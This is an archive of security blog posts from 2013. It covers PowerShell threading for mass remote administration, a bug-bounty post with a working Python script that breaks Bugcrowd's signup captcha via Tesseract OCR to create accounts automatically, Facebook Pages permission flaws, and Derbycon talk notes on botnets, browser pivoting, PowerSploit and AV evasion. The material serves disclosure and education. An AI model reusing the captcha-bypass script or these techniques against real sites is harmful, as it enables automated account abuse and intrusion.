Friday, 20 December 2013

Powershell: Threading

Having recently got my head around basic Powershell I wanted to share some of the lessons I'd learnt. In this first post I'll talk about Powershell threading and performing tasks on an enterprise scale.


Getting Started

I'm not going to cover how to install and setup Powershell/WinRM. There are a lot of good posts out there already, for example:

http://blog.powershell.no/2010/03/04/enable-and-configure-windows-powershell-remoting-using-group-policy/

In a nutshell, you need to create a GPO to enable the WinRM service or if you want to test locally, just start the WinRM (Windows Remote Management) service. To run commands you'll need to have Powershell installed (Powershell 2.0 is included with Win7 by default), i'd recommend updating to Powershell 3.


Scaling up your Powershell

When running a script across thousands of machines I found three factors significantly affected the total run time. The first was how well I could get the tasks to run in parallel, the second was the efficiency of my code and the third was how much work I could offload to remote machines.

Efficiently running tasks in parallel was the biggest issue so in this post I'll cover the main parallel/off-loading techniques:
  • Invoke-Command
  • Jobs
  • Runspace Pooling
But first I wanted to briefly mention efficient coding.


Creating efficient scripts

In every language efficient coding can significantly affect the speed of and resources used by your scripts. This is particularly important when trying to scale a script across many machines as any inefficiencies are magnified.

I found the following helped improve my Powershell code performance:
  • Using Powershell built-in functions (cmdlets) wherever possible 
  • Using piping as much as possible
  • Minimizing creation/usage of new variables/files/objects
  • Avoiding searching or iterating over large data sets
  • Performing operations in parallel
For example to count the occurrences of a string in a 2MB text file, you don't want to do something crazy like this:

$i=0;Get-Content c:\temp\test.txt|ForEach {if($_ -eq 123){$i++}};Write-host $i

During testing the above took 8 seconds. The following code is cleaner but still took 7 seconds:

(Get-Content c:\temp\test.txt |Where {$_ -match "123"}| Measure-Object -Line).Lines

In this instance, the fastest way to search is by using Select-String, which in testing took less than a second! Using a single cmdlet and it's built-in parameters made this the most efficient option.

@(Select-String -Path c:\temp\test.txt -pattern 123).count

So how can we execute this in parallel across thousands of machines?


Invoke-Command

Invoke-command offers a simple way to execute commands on multiple remote machines in parallel.

http://technet.microsoft.com/en-us/library/hh849719.aspx

The SANS blog and Technet links below give some great explanations about why it's useful:

http://computer-forensics.sans.org/blog/2013/09/03/the-power-of-powershell-remoting

http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/23/an-introduction-to-powershell-remoting-part-one.aspx

I found Invoke-Command an ok option for simple one off commands but unsuitable for more complex interactive scripts. By design you provide code to be executed on the remote machine and once complete you are given the result. I couldn't find a way to perform interactive actions or easily get/push data (see double-hop problem). I also couldn't find a clean way to handle errors for non-accessible/offline machines (suggestions are welcome!).

As an example here's a script to check the status of a service on multiple machines:

Invoke-Command –ComputerName (Get-Content "C:\Temp\computers.txt") –ScriptBlock {Get-Service -Name WPCSvc} -ThrottleLimit 50 -ErrorAction continue

Unsatisfied with Invoke-Command I decided to look for alternative techniques.


Powershell Jobs

When you Google Powershell and threading everyone tells you to use Jobs as they are Powershell's answer to threads. So that's what I did, using the script at the link below I implemented a job creating function, a job management function and set my script going.

http://webcache.googleusercontent.com/search?q=cache:yFjkpkw8lT4J:www.get-blog.com/%3Fp%3D22

Something like this:

$MaxThreads = 20
$SleepTimer = 1000
$Computers = Get-Content "C:\Temp\computers.txt"

ForEach ($Computer in $Computers){
    While (@(Get-Job -state running).count -ge $MaxThreads){      
    Start-Sleep -Milliseconds $SleepTimer
    }

    Start-Job -scriptblock {
        if(Test-Path \\$($args[0])\C$ -ErrorAction silentlycontinue){
            #Do something
        } else{
            "Machine not accessible"
        }
    } -ArgumentList $Computer -Name "$($Computer)job" | Out-Null
}

While (@(Get-Job -State Running).count -gt 0){
    Start-Sleep -Milliseconds $SleepTimer
}

ForEach($Job in Get-Job){
    Receive-Job -Job $Job
    Remove-job -Force $Job
}

The positive with this script is that you can use -ComputerName remote execution and GetWMIObject instead of Invoke-Command to run commands interactively and in parallel. The negative is that it took a long long time to run. I'm not sure whether Powershell has a cap on the number of concurrent jobs or whether jobs are just inefficient. Either way jobs were slow. So I went back to Google.


Runspace pooling to the rescue!

After wading through all of the Jobs posts I finally got to a technique called runspace pooling. By calling CreateRunspacePool it is possible to create multiple runspaces pools which effectively work as threads.

http://msdn.microsoft.com/en-us/library/system.management.automation.runspaces.runspacefactory.createrunspacepool(v=vs.85).aspx

With one pool per host and all of the pools operating simultaneously the script was very fast. It's possible to include your own runspace code within your script but I found the simpler solution was to use Tome Tanasovski's threading function. I'd recommend checking out his post here for the full story and script:

http://powertoe.wordpress.com/2012/05/03/foreach-parallel/

Using Tome's runspace pooling code I found it easy to create scripts that ran quickly, didn't encounter double-hop problems and handled errors as expected.


Putting Powershell Threading to Work

To give a quick example, I created a script below that will check the status of a service and if it's disabled it will enable it:

$computer = "testhost"
$myservice = Get-Service -computerName $computer -Name "WPCSvc"| Where-Object {$_.status -eq "Stopped"}
if($myservice){
 "Service is stopped. Starting now!"
 Set-Service WPCSvc -startuptype "Automatic" -computerName $computer 
 Start-Service -inputobject $myservice
 "Service started!"
}

I've used the Get-Service cmdlet to first get the status of a specific service. If the service was stopped I'd set the start type to automatic and start the service.

So that's for one machine, if we want to run this on thousands of machines we just need to combine the code with Tome's runspace script:

function ForEach-Parallel {
    param(
        [Parameter(Mandatory=$true,position=0)]
        [System.Management.Automation.ScriptBlock] $ScriptBlock,
        [Parameter(Mandatory=$true,ValueFromPipeline=$true)]
        [PSObject]$InputObject,
        [Parameter(Mandatory=$false)]
        [int]$MaxThreads=5
    )
    BEGIN {
        $iss = [system.management.automation.runspaces.initialsessionstate]::CreateDefault()
        $pool = [Runspacefactory]::CreateRunspacePool(1, $maxthreads, $iss, $host)
        $pool.open()
        $threads = @()
        $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param(`$_)`r`n" + $Scriptblock.ToString())
    }
    PROCESS {
        $powershell = [powershell]::Create().addscript($scriptblock).addargument($InputObject)
        $powershell.runspacepool=$pool
        $threads+= @{
            instance = $powershell
            handle = $powershell.begininvoke()
        }
    }
    END {
        $notdone = $true
        while ($notdone) {
            $notdone = $false
            for ($i=0; $i -lt $threads.count; $i++) {
                $thread = $threads[$i]
                if ($thread) {
                    if ($thread.handle.iscompleted) {
                        $thread.instance.endinvoke($thread.handle)
                        $thread.instance.dispose()
                        $threads[$i] = $null
                    }
                    else {
                        $notdone = $true
                    }
                }
            }
        }
    }
}

$ErrorActionPreference = "Stop";

$ComputerList = $(Read-Host "Enter the Location of the computerlist")
$Computers = Get-Content $ComputerList
$Computers |ForEach-Parallel -MaxThreads 100{
 try{
  if(Test-Path \\$_\C$ -ErrorAction silentlycontinue){
   $test = Get-Service -computerName $_ -Name "WPCSvc"| Where-Object {$_.status -eq "Stopped"}
   if($test){
    "Service stopped on: " + $_
    Set-Service WPCSvc -startuptype "Automatic" -computerName $_ 
    Start-Service -inputobject $test
    "Service started on: " + $_
   }
  } else{
   $_ + " - Machine not accessible"
  }
 }
 Catch{
   "Caught an exception!"
 }
}

At first glance it might seem confusing but its dead simple. The whole first section is Tome's script and will handle the threading. My code starts with reading in a list of computers from text file. Then we pipe those machines to Tome's function "ForEach-Parallel". In the following section I've put the code that will execute in each runspace.

I've used the same Get-Service, Set-Service, Start-Service cmdlets as in my first example, this time round though I added a check to see if the machine was accessible using Test-Path and also error handling with a try/catch.


Final Thoughts

Threading is one of the most important features of any language and I was surprised how poorly it was implemented in Powershell. Being new to Powershell definitely didn't help but also the information online was pretty poor, no one really covered all of the techniques in one place or explained which was better.

Personally I found runspace pooling the fastest, the cleanest and easiest to use. Although Tome's script is a little bulky it makes threading simple. I would love to hear other people opinions on what worked best for them.

I'll hopefully be adding some more Powershell blog posts in the future. For more security orientated Powershell definitely check out PoshSec and Posh-SecMod

Pwndizzle out.

Thursday, 5 December 2013

Breaking Bugcrowd's Captcha with Python and Tesseract

In this post I'm going to talk about bypassing Bugcrowd's captcha using Python and Tesseract. This post was originally written for the Bugcrowd blog here: http://blog.bugcrowd.com/guest-blog-breaking-bugcrowds-captcha-pwndizzle/


A Bugcrowd Bounty

A while back Bugcrowd started a bounty for the main Bugcrowd site. While flicking through the site looking for issues I noticed they were using a pretty basic captcha. In certain sections of the site, for example account sign up, password reset and on multiple failed passwords, you were required to enter the captcha to verify you were human:

This in theory would prevent the automated use of these functions. But if I could find a way to bypass the captcha I could potentially abuse these functions.


So how do you bypass a captcha? 

If it's a home-grown captcha you may be lucky enough to find a logic flaw such as the captcha code being included on the current page or perhaps you can re-use a valid captcha more than once.

If you're dealing with a more sophisticated captcha you've got two options. Either you outsource the work to a developing country (http://krebsonsecurity.com/2012/01/virtual-sweatshops-defeat-bot-or-not-tests/) or you can try optical character recognition (OCR).  


OCR?

Assuming you don't choose to outsource the work, there are a few different OCR frameworks out there that you can use to automatically analyse an image and have it return you a list of characters. I found Tesseract (https://code.google.com/p/tesseract-ocr/) to be a good choice as it's engine has been pre-trained and it worked out of the box with decent results.

As the Bugcrowd captcha was so simple all I needed to do was enlarge the image before submitting to Tesseract for analysis to succeed most of the time. For other more complex captchas that use distorted characters or overlays to mask the text you will need to clean the image before submitting to Tesseract. Some examples can be found in the references below.


Weaponizing using Python

With a way to obtain the captcha value from the captcha image I decided to create a proof of concept script in Python that could automate account sign-up. Being the lazy security guy I am, I had a look on Google to see if someone else had already created a similar script and although there were captcha breaking scripts I couldn't find an example of a full attack. So instead I wrote my own.

The Bugcrowd sign-up process consisted of two requests, one to retrieve the sign-up page (containing captcha and csrf) and a second request to send sign-up data (username, email, password etc.) To automate the whole process the script would need to download a copy of the sign-up page, extract the csrf and captcha tokens, download and analyse the captcha then submit a sign-up request containing the following:


Using Python 3.3 I cobbled together the following:

# A script to bypass the Bugcrowd sign-up page captcha
# Created by @pwndizzle - http://pwndizzle.blogspot.com 

from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import re
import subprocess

def getpage():
    try:
        print("[+] Downloading Page");  
        site = urlopen("https://portal.bugcrowd.com/user/sign_up")
        site_html = site.read().decode("utf-8")
        global csrf
        #Parse page for CSRF token (string 43 characters long ending with =)  
        csrf = re.findall('[a-zA-Z0-9+/]{43}=', site_html)
        print ("-----CSRF Token: " + csrf[0])
        global ctoken
        #Parse page for captcha token (string 40 characters long)   
        ctoken = re.findall('[a-z0-9]{40}', site_html)
        print ("-----Captcha Token: " + ctoken[0])
    except URLError as e:
        print ("*****Error: Cannot retrieve URL*****");

 
def getcaptcha():
    try:
        print("[+] Downloading Captcha"); 
        captchaurl = "https://portal.bugcrowd.com/simple_captcha?code="+ctoken[0] 
        urlretrieve(captchaurl,'captcha1.png')
    except URLError as e:
        print ("*****Error: Cannot retrieve URL*****");


def resizer():
 print("[+] Resizing...");
 im1 = Image.open("captcha1.png")
 width, height = im1.size
 im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
 im2.save("captcha2.png")

 
def tesseract():
    try:
        print("[+] Running Tesseract...");
        #Run Tesseract, -psm 8, tells Tesseract we are looking for a single word 
        subprocess.call(['C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe', 'C:\\Python33\\captcha2.png', 'output', '-psm', '8'])
        f = open ("C:\Python33\output.txt","r")
        global cvalue
  #Remove whitespace and newlines from Tesseract output
        cvaluelines = f.read().replace(" ", "").split('\n')
        cvalue = cvaluelines[0]
        print("-----Captcha: " + cvalue); 
    except Exception as e:
        print ("Error: " + str(e))

  
def send():
    try:
        print("[+] Sending request...");
        user = "testuser99"
        params = {'utf8':'%E2%9C%93', 'authenticity_token': csrf[0], 'user[username]':user, 'user[email]':user+'@test.com', 'user[password]':'password123', 'user[password_confirmation]':'password123', 'captcha':cvalue,'captcha_key':ctoken[0],'agree_terms_conditions':'true'}
        data = urlencode(params).encode('utf-8')
        request = Request("https://portal.bugcrowd.com/user")
        #Send request and analyse response
        f = urlopen(request, data)
        response = f.read().decode('utf-8')
  #Check for error message
        fail = re.search('The following errors occurred', response)
        if fail:
            print("-----Account creation failed!")
        else:
            print ("-----Account created!")
    except Exception as e:
        print ("Error: " + str(e))

  
print("[+] Start!");
#Download page and parse data
getpage();
#Download captcha image
getcaptcha();
#Resize captcha image 
resizer();
#Need more filtering? Add subroutines here!
#Use Tesseract to analyse captcha image
tesseract();
#Send request to site containing form data and captcha
send();
print("[+] Finished!");


Running the script from the c:\Python33 folder against a Bugcrowd signup page with the following captcha:

I get the following output:


Awesome, so with one click the script can create an account. Add a for loop and make the username/email dynamic and we can sign up for as many accounts as we like, all automatically. So you're probably thinking "if it's that easy to bypass a captcha why isn't everyone doing it?". Well there are some important points to remember:

  •  Tesseract doesn't analyse the captcha correctly every time. With Bugcrowd's simple captcha I was getting about a 30% success rate.
  • Most sites don't use such a simple captcha and filtering noise can be tricky. A harder captcha, means a lower success rate, more requests and a greater chance of getting caught/locked out.
  • There could be server-side mitigations in place we don't know about. E.g. Each ip cannot create more than five accounts a day.
  • The impact of a captcha bypass and mitigations can vary greatly depending on what the captcha is trying to protect.


Final Thoughts

I like the concept of captchas, current machines struggle with optical recognition and an image check is all it takes to prevent automation. As demonstrated though simple letter/number captchas can be easy to break and everyday use can frustrate users. For me images of people/objects/scenes, like the friend captcha used by Facebook, or interactive captchas/mini-games like those offered by http://areyouahuman.com/ appear to be an interesting alternative that offer effective anti-automation (for now) with improved user experience.  

If you want to re-use the script it should work fine on other machines and sites but you'll need to change the URLs, the parsing logic and possibly apply image filters depending on the captcha your targeting. I built the script using Python 3.3 and Tesseract 3.02 with default installation locations on Windows 7.

For more information about breaking captchas with Python I'd definitely recommend checking out the following posts:

http://blog.c22.cc/2010/10/12/python-ocr-or-how-to-break-captchas/

http://www.debasish.in/2012/01/bypass-captcha-using-python-and.html

http://bokobok.fr/bypassing-a-captcha-with-python/

Also cleaning catpchas with Imagemagick looked interesting but I didn't get round to testing it:

http://www.imagemagick.org

Thanks to Bugcrowd for all their awesome work. I hope you guys have found this post useful. Questions and feedback are always appreciated so drop me a comment below :)

Pwndizzle out.

Tuesday, 22 October 2013

Playing with Facebook Pages

Back in July I took a look at Facebook Pages. With most of the Facebook CSRF/XSS already fixed I instead focused on abusing the features and permissions at a high level just playing around with the legitimate functionality.

Today I'll talk about two issues that caught my eye.


Ban Your Manager

The first issue I found was a permissions hole in the "ban" feature. For Facebook pages the power hierarchy looks like this: 

Manager -> Content Creator -> Moderator ->  Advertiser -> Insights Analyst  

With the Manager role having the most control and Insight Analyst the least. I created two users Mike (the manager) and Mark (the moderator). While logged in as Mark I tried to delete one of Mike's posts.



Much to my surprise I was given the option of banning the manager...


It turned out if you were a Manager/Content Creator/Moderator you could ban anyone with Manager/Content Creator/Moderator effectively going against the intended power hierarchy.


Also when you get banned there is no information to indicate who banned you, not even in the page activity log. Manager's can unban themselves but there's nothing stopping our attacker from re-banning them. So if you have a rogue moderator or a moderator account that got hacked, an attacker could silently perform a ban DOS. Cool.


Wana be a featured admin?

Probably the most fun issue I found involved the "add a featured admin" functionality. By default, pages don't display the admin but you can set a "featured admin" who will show up publicly on the "about" page. To do this you first need to add the user as a page role, let's go with the lowest permissions:
Now we go to the featured admin page.
And add our admin:



Once added he'll be publicly visible as the page admin.



So where's the security flaw I hear you ask? Well in the above steps did you notice that not once did we ask the user's permission to perform any of these actions? Facebook pages by design do not ask a user's permission before making them an admin or featured admin. The only prerequisite was that the user either liked the page or was a friend of ours.

So with malicious intentions in mind how could we abuse this? Well one possible attack would be to make someone a featured admin then change the content of the page to something malicious and publicize the fact they are the admin.

For example, our page starts out as a normal Breaking Bad fan club, nothing suspicious here...


The manager makes you featured admin, cool, but then changes the content and leaves the page, not cool!



JUSTIN BIEBER!!! NOOOOOOOOOOOOOOOOOO!!!!! So now all your friends see you're the admin of a Justin Bieber fan club and proceed to make fun of you for the next few years :)

I assumed Facebook would notify users when changes like this were made, but that's not always the case. You are notified if you're made an admin for the page, but not notified if you are made the 
publicly visible featured admin! Uh oh.


Final Thoughts

Were these serious issues involving account compromise, data loss or blowing up Facebook servers? Nope. But they were/are features that could be abused for malicious purposes.

It can be easy to class such issues as low severity and dismiss them but targeted exploitation could cause some real damage. Imagine if instead of Justin Bieber, our page was focused on a sensitive political issue and constructed to appear legitimate. What happens if a celebrity or political figure is tricked into being the featured admin? Watch as chaos ensues :)

Pwndizzle out.

Saturday, 5 October 2013

Notes from Derbycon 2013 - Day #3

After another late night partying on the streets of Kentucky I arrived home at 5am and had to get some sleep. I missed the first two talks of the day but did make it in for the afternoon sessions and there were some cool talks.


#########################################################
Title: Sandboxes from a pentester's view
Link: http://labs.bromium.com/2013/07/23/application-sandboxes-a-pen-testers-perspective/
What was it about:
Rahul took us on a journey through the concepts of application sandboxes and how to escape them. He started by explaining how most third party software sandboxes can be bypassed simply because they don't properly control access to the kernel. The products are basically badly designed. He then went on to talk about the sandboxes for Chrome and Adobe Reader which are a lot more secure.

The high privilege "broker" and low privilege "target" process architecture and the fact Google have spent millions on development has made the Chrome sandbox very secure. However Chrome and the sandbox run on top of the Windows kernel. So to escape the sandbox all we need to do is exploit the kernel. With such a large attack surface, all of user land and RPC services, there are a lot of potential targets.

Rahul showed a demo exploit for ms11-063 which he had reversed from the patch. csrss.exe didn't properly enforce access permissions so by connecting to csrss.exe over RPC from Chrome he was able to execute arbitrary commands.

Lessons learned:
Forget about exploiting the browser, attack the Windows kernel instead, there's a gold mine of potential vulnerabilities yet to be found.


#########################################################
Title: Exploiting the zeroth_hour; Developing your advanced persistant threat to pwn the network
Link: https://github.com/splinterbotnet
What was it about:
Solomon and Nick talked about how they created their own botnet agent and backend C&C. Although botnets are nothing new, what they had built was the first open source botnet framework, cool. In the demo they showed off some of the features like beaconing, information gathering and file transfers, all pretty fun.

The full source code should be appearing on github sometime soon.

Lessons learned:
Man + dog will now be running a botnet?


#########################################################
Title: Stop making excuses it's time to own your HIV (high impact vulnerabilities)
Link: http://www.youtube.com/watch?v=BbkwzhU1_4A
What was it about:
As a defender one of the biggest challenges I've encountered is deciding what to prioritize. There's simply too much to do and too little time. In this talk Jack presented his experiences developing and implementing an effective security program. He used a four step process: identify (what problem areas you have), align (decide on solutions and create a project schedule), communicate (let users know what's gona happen) and report (provide metrics to management). I liked that. Also he suggested when reporting, think like a CFO. Keep reports simple and show the return on investment.

Lessons learned:
Take a step back. Look at the big picture, the risks facing your organisation, what can you do to address those risks and create a plan with clear projects and schedule.


#########################################################


After two days of full time corelanc0d3r training, three days of conference talks and two heavy nights out I was ready to sleep for a week. Overall I had an amazing time, learnt so much and met so many cool people. Would definitely recommend you check it out and will be doing my very best to return next year. 

Questions/comments/corrections - leave a message below.

Pwndizzle out!   

Notes from Derbycon 2013 - Day #2

After drinking late into the night with Casey from Bugcrowd I wasn't feeling too sharp Saturday morning and missed the first two talks. *cough* But ummm, in the afternoon though there was plenty to see!


#########################################################
Title: Burning the Enterprise with BYOD
Link: https://github.com/georgiaw/Smartphone-Pentest-Framework
What was it about:
Pwning companies using mobile phone based attacks. Georgia highlighted multiple ways to exploit phones e.g. malicious apps, OS/app vulns and social engineering. After a funny 40 minute semi-drunk ramble through mobile problems, we got to the demo and it was awesome. Using the smartphone pentest framework she'd built, Georgia showed how easy it is to compile a malicious app and trick a user into installing it by sending a link via SMS. User opens link, installs app and now you've compromised the phone.


From there you can pivot into the internal network fire, off your ms08-067 exploit and get shell. What's more, because it's mobile all the data runs over the cell network and is impossible to detect or stop. Pwned.

Lessons learned:
There is no way to prevent phones from being compromised. Solution, don't allow BYOD? :)


#########################################################
Title: Malware Management Framework - a process you can use to find advanced malware 
Link: http://sniperforensicstoolkit.squarespace.com/malwaremanagementframework
What was it about:
Finding malware can be like finding a needle in a haystack. So how do you find the needle? Well one approach is to remove the hay. The guys presenting achieved this by hashing all the files in sensitive folders (e.g. %temp%, windows, system32, wbem) and building a repository of known good hashes. Remove the good and you're left with the bad, essentially a form of whitelisting. Although it takes some time to build the repository, once you have it, you have a hell of a monitoring solution (and it's free!).

These guys had built a cloud platform that would receive and analyse hashes sent from an agent. This agent would be deployed on workstations and would regularly send back any new hashes. It was awesome but closed source!

Lessons learned:
Building a hash repository and using it to analyse files on your system is one of the silver bullets out there that people don't use enough.


#########################################################
Title: Browser Pivoting (FU2FA)
Link: http://blog.strategiccyber.com/2013/09/26/browser-pivoting-get-past-two-factor-auth/
What was it about:
Raphael Mudge presented an impressive new browser pivoting module for Armitage that allows you to browse from your own machine as if you were browsing from the target's machine. Compromise your target, run the post module which will inject a dll into IE, configure your local proxy settings and your local requests will be tunneled through the target's browser.

While it's always been possible to access internal sites using some port forwarding, by injecting into the browser you inherit all of the session data. E.g. If the user is logged into Facebook, when you browse you will be logged in on their account, awesome! It's a great tool for demonstrating to management how easily an attacker can access all your internal sites.

Lessons learned:
If you're an attacker, use browser pivoting. If you're a defender pray your boxes don't get popped! Also if you use single sign on you're making life a lot easier for the attacker.


#########################################################
Title: Taking the BDSM out of PCI-DSS Through Open Source Solutions
Link: http://urbanesecurity.com/research/openpci/
What was it about:
This was an interesting talk that highlighted the areas of PCI that people most commonly have problems with and how to fix them. The things people commonly do badly included:
  • AV on servers
  • Patching systems
  • Two Factor Authentication
  • Logging <- a lot of people fail here
  • Policies 
The presenters gave a few recommendations for each. For example you don't need AV if you do some kind of whitelisting. For logging they recommended a number of interesting open source solutions Fluentd, Logstash, Flume, I've never used them myself but looking over the sites got me interested. Also for file integrity monitoring they mentioned OSSEC.

The talk was quite funny as whenever Zack said "it depends" he had to drink, yeah he drank quite a lot, but hey that's Derbycon!

Lessons learned:
Check out Fluentd/Logstash/Flume for SIEM.


#########################################################
Title: Hacking Back Active Defense and Internet Tough Guys
Link: https://bitbucket.org/LaNMaSteR53/honeybadger
Link: https://github.com/trustedsec/artillery/
What was it about:
This talk was focused on the use of honey pages and honey files to trick an attacker into disclosing their location. Simply including an iframe on a hidden page that shouldn't usually be accessed, e.g. a fake /login.html, can transmit the attacker's ip as soon as they load the page. Even if the attacker is being extra sneaky using TOR for browsing you can try including a booby trapped doc or jar file that when run locally will grab wifi data and call back to you usually bypassing TOR.

And this is all legal as none of the activity involves illegally compromising the attackers machine. It was funny hearing that when the presenter had contacted law enforcement they didn't know how to respond and often wouldn't arrest the individual despite all the evidence.

Another defensive tool called Artillery was also mentioned, that does automatic host blacklisting and file integrity monitoring.

Lessons learned:
Internally and externally honey pots/pages/files can provide some great intel, "Honey Badger" is definitely worth checking out.


#########################################################
Title: Everything you ever wanted to know on how to start a credit union
Link: http://www.irongeek.com/i.php?page=videos/derbycon3/4208-everything-you-ever-wanted-to-know-on-how-to-start-a-credit-union-but-were-afraid-to-ask-jordan-modell
What was it about:
This talk was about one man's experiences setting up a credit union in the US. Although not security related it was interesting to hear about all the various hoops he had to jump through and the layer after layer of bureaucracy he had to deal with. His stay positive and shear determination was really impressive.

Lessons learned:
Don't be afraid to get out there and create something.


#########################################################
Title: Living Off the Land: A Minimalist's Guide to Windows Post Exploitation
Link: https://github.com/mattifestation/PowerSploit
Link: http://pen-testing.sans.org/blog/2013/07/12/anti-virus-evasion-a-peek-under-the-veil
What was it about:
The final talk of the day was about Powersploit and specifically in-memory only modules. The presenters talked about how nearly every single task from extraction of data, to lateral movement, to exfiltration can all be performed in memory using powershell/wmi/netsh.

I was particularly impressed by the lateral movement and how easy it was to connect to a target using powershell, execute the invoke-shellcode command which will connect back to you, pull meterpreter shellcode then execute it in memory.

Another tit-bit the guys mentioned was Veil. I'd not heard of it before but it's essentially an AV evasion framework that can compile some bad-ass python and powershell payloads.

Lessons learned:
If you're a pentester you should be using Powersploit and Veil if you aren't already.


#########################################################


Questions/comments/corrections - leave a message below.

Derbycon day #3
http://pwndizzle.blogspot.com/2013/10/notes-from-derbycon-2013-day-3.html

Friday, 4 October 2013

Notes from Derbycon 2013 - Day #1


It was my first time attending Derbycon and I gota say, what a conference! The atmosphere was a lot different to Blackhat/Defcon, less suits, less vendors and more real security guys direct from the trenches.

I found the talks a lot more interactive and most provided great practical advice for the everyday security admin. Along with the free beer my favorite bit was speaking to fellow attendees/speakers. Exchanging ideas, discussing problems and just meeting new people was awesome.

So I don't forget what I learnt (and cause I thought you guys might find it useful) I thought I'd do a quick write-up for each day. This is my own version of events and I've probably incorrectly described some talks, apologies in advance!

Also recordings of most talks can be found here: http://www.irongeek.com/i.php?page=videos/derbycon3/mainlist


#########################################################
Title: Pigs don't fly - Why owning a typical network is so easy and how to build a secure one
Link: http://www.scriptjunkie.us/
Link: http://ambuships.com/
What was it about:
Scriptjunkie provided an overview of some of the most effective ways to secure a network. He started off by describing common kill chains from initial compromise to exfiltration and how we can break them.

Defensive techniques included:
- Air gap as much as possible
- Prevent USB
- Prevent direct connections out (force traffic through a proxy)
- Prevent outbound DNS (force machines to use internal DNS)
- Block social networking
- Block inter-workstation access
- Don't allow outbound traffic from admins
- Lock down admin workstations
- Prevent Java/Office writing files to most locations
- Don't use file shares, use a CMS
- Use Ambush ips for monitoring

Silver bullets:
- Don't use passwords, switch to hardware tokens/smartcards
- Deny all NTLM logins

Getting rid of passwords and NTLM sounded nuts, but he had a valid point, by getting rid of passwords/hashes and using one time codes from hardware tokens/kerberos instead, it's going to be a lot harder for attackers to move around your network using pass-the-hash or password reuse. Microsoft already provide support for hardware token based authentication so implementation isn't as hard as people think. Legacy applications that don't support kerberos can have some issues though. Definitely something I'm going to look into further.

Lessons learned:
Test disabling NTLM and switching to purely kerberos. Long term enforce token only authentication. Implement as many of the defensive techniques as possible.


#########################################################
Title: IOC Aware - Actively collect compromise indicators and test your entire enterprise
Link: http://www.youtube.com/watch?v=NhOhfNrXIDI
What was it about:
IOC's (indicators of compromise) are an open xml format introduced by Mandiant to provide a way to detect malware using a combination of information including filenames, hashes, signature, paths. At the moment it's hard to find IOC's online and producing them is usually a manual process. Wouldn't it be great if we could automatically create and then search for IOCs? Well the guys in this talk had done just that.

They had used a honeypot (Dionaea) to collect samples which would be automatically submitted to an internal Cuckoo instance. They had created a custom plugin for Cuckoo that would generate IOC's from the Cuckoo analysis.
The generated IOC's were added to a master list that was then sent to software agents that had been deployed on workstations. The agent would search the workstation for the IOCs and report back results. If an attacker had used similar techniques on both the honeypot and workstations he'd be detected. Cool. For me the only issue with this system is that if the attackers don't attack the honeypot you don't get any IOCs.

Lessons learned:
Deploy a honeypot if you haven't already. Make sure you have a way to search your organisation for IOCs.


#########################################################
Title: Cash is King: Who's Wearing Your Crown?
Link: http://www.youtube.com/watch?v=k-qaAeXUBac
What was it about:
The guys presenting talked about how its possible to inject a dll into the Microsoft Dynamics GP product and proxy requests to the backend database. So if an attacker compromises one of the workstations belonging to your accounting staff they can remotely issue commands to the backend database when that staff member is logged in. Money transfers and account modifications all performed as the compromised user, awesome.

They mentioned that in many cases accounting reconciliation isn't completed often enough meaning fraudulent payments can go undetected for months. Also once one payment is detected as incorrect how do you know the rest of the payments/account information haven't been modified?

It was worrying to hear that the payment processing systems for online games have better controls than most ERP and financial systems.

Lessons learned:
Third party financial systems don't provide tight enough audit and change control.


#########################################################
Title: Windows Owned by Default
Link: http://www.youtube.com/watch?v=SVqiDdVS7Wo
Link: http://technet.microsoft.com/en-us/magazine/2009.06.act.aspx
What was it about:
This was an interesting talk about the Windows Application Compatibility Toolkit and how it can be used to change how commands and programs execute. The toolkit is offered by Microsoft and helps old software work on newer versions of windows. It appears to use some kind of dll injection or rootkit functionality to intercept system calls and redirect execution. So instead of loading for example the default modern version of a dll or registry key you create whats called a "shim" and this shim will redirect the program to the old version of the dll or registry key.

An attacker can abuse this to load and hide his own malicious files and because child processes inherit parent settings if you create a shim targeting explorer.exe any program running in windows will inherit the settings and run with modified settings.

You do need to be admin on the box to install the toolkit so it's more of a post exploitation tool but used correctly it can hide malware really well and drive incident responders nuts. Or vice versa if you create a honeypot with Application Compatibility Toolkit installed the attackers will waste time going round in circles instead of attacking your other systems.

Lessons learned:
Look out for malware abusing Windows Application Compatibility Toolkit. Also setup a honeypot using this.


#########################################################
Title: RAWR - Rapid Assessment of Web Resources
Link: http://sourceforge.net/projects/rawr-webenum/
What was it about:
Awesome new tool to scan a network and grab screenshots from websites. There are a few scripts out there that do this but I've not seen anything that worked this well. RAWR provides a command line to issue search commands, give it an ip+port and it'll run nmap, Bing reverse DNS and SSL checks against your ip range.

All screenshots are viewable and searchable through a nice web interface. The tool is still under active development with new features on the way. Overall a great tool for attackers and defenders alike.

Lessons learned:
Grab a copy of RAWR and scan your internal/external network you may be surprised by what you find :)


#########################################################
Title: Decoding Bug Bounty Programs
Link: http://www.youtube.com/watch?v=ur1azUTgmvU
What was it about:
Jon presented a great interactive talk about how/why bug bounties operate. I found the Paypal stats quite interesting, for example, did you know 44% of bugs are the submitter's one and only submission and 80% of bug submissions are sent in by researchers who submit less than 10 bugs.

Also we were lucky enough to have the folks who run Microsoft's bounty program, the head of Firefox's program and the Bugcrowd guys in attendance who all had interesting things to say.

Lessons learned:
Bug bounties are the future!


#########################################################



Questions/comments/corrections - leave a message below.

Derbycon day #2
http://pwndizzle.blogspot.com/2013/10/notes-from-derbycon-2013-day-2.html

Wednesday, 18 September 2013

How not to Obfuscate your Javascript

Last week I came across some malicious obfuscated Javascript and thought I'd write about it as a contrast to the VBScript in my last post. In this post I'll deobfuscate the Javascript and dig into the script's functionality and redirects.


The Sample

The malicious script was first detected by a network monitoring device as "Trojan.JS.Iframe.afs". Submitting the URL of the infected site to Sucuri I got the following:




Looking at the results from Sucuri it appeared that a suspicious looking piece of javascript had been included on multiple pages:

